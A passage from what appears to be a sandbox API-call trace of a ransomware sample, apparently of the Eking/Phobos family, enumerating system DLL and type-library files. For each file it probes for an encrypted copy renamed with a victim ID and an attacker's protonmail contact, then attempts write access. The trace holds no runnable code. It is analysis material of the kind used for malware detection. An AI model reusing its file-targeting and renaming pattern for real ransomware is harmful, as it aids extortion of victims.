lpFileSize=0x2d5fd10*=14610) returned 1 [0177.108] CloseHandle (hObject=0x1f0) returned 1 [0177.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0177.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0177.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.109] SetEvent (hEvent=0x174) returned 1 [0177.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.109] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=14951) returned 1 [0177.109] CloseHandle (hObject=0x1f0) returned 1 [0177.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0177.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0177.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.110] SetEvent (hEvent=0x174) returned 1 [0177.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.112] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=17408) returned 1 [0177.112] CloseHandle (hObject=0x1f0) returned 1 [0177.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0177.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0177.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.113] SetEvent (hEvent=0x174) returned 1 [0177.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.114] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.114] CloseHandle (hObject=0x1f0) returned 1 [0177.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0177.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0177.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.114] SetEvent (hEvent=0x174) returned 1 [0177.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.117] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1499136) returned 1 [0177.117] CloseHandle (hObject=0x1f0) returned 1 [0177.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0177.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0177.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.118] SetEvent (hEvent=0x174) returned 1 [0177.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.118] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=69632) returned 1 [0177.118] CloseHandle (hObject=0x1f0) returned 1 [0177.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0177.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0177.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.119] SetEvent (hEvent=0x174) returned 1 [0177.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.120] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=73728) returned 1 [0177.120] CloseHandle (hObject=0x1f0) returned 1 [0177.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0177.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0177.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.120] SetEvent (hEvent=0x174) returned 1 [0177.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.121] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=94208) returned 1 [0177.121] CloseHandle (hObject=0x1f0) returned 1 [0177.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0177.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0177.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.122] SetEvent (hEvent=0x174) returned 1 [0177.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.124] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=98304) returned 1 [0177.124] CloseHandle (hObject=0x1f0) returned 1 [0177.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0177.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0177.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.125] SetEvent (hEvent=0x174) returned 1 [0177.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.125] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=98304) returned 1 [0177.125] CloseHandle (hObject=0x1f0) returned 1 [0177.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0177.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0177.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.127] SetEvent (hEvent=0x174) returned 1 [0177.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.129] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=98304) returned 1 [0177.129] CloseHandle (hObject=0x1f0) returned 1 [0177.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0177.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0177.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.130] SetEvent (hEvent=0x174) returned 1 [0177.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.131] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=466944) returned 1 [0177.131] CloseHandle (hObject=0x1f0) returned 1 [0177.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0177.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0177.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.131] SetEvent (hEvent=0x174) returned 1 [0177.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.306] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=20480) returned 1 [0177.306] CloseHandle (hObject=0x1f0) returned 1 [0177.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0177.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0177.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.308] SetEvent (hEvent=0x174) returned 1 [0177.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.309] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=495616) returned 1 [0177.309] CloseHandle (hObject=0x1f0) returned 1 [0177.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0177.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0177.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.310] SetEvent (hEvent=0x174) returned 1 [0177.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.310] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=28672) returned 1 [0177.310] CloseHandle (hObject=0x1f0) returned 1 [0177.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0177.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0177.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.311] SetEvent (hEvent=0x174) returned 1 [0177.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.312] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=106496) returned 1 [0177.312] CloseHandle (hObject=0x1f0) returned 1 [0177.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0177.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0177.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.313] SetEvent (hEvent=0x174) returned 1 [0177.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.316] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=29184) returned 1 [0177.316] CloseHandle (hObject=0x1f0) returned 1 [0177.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0177.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0177.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.316] SetEvent (hEvent=0x174) returned 1 [0177.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.317] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=93696) returned 1 [0177.317] CloseHandle (hObject=0x1f0) returned 1 [0177.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0177.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0177.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 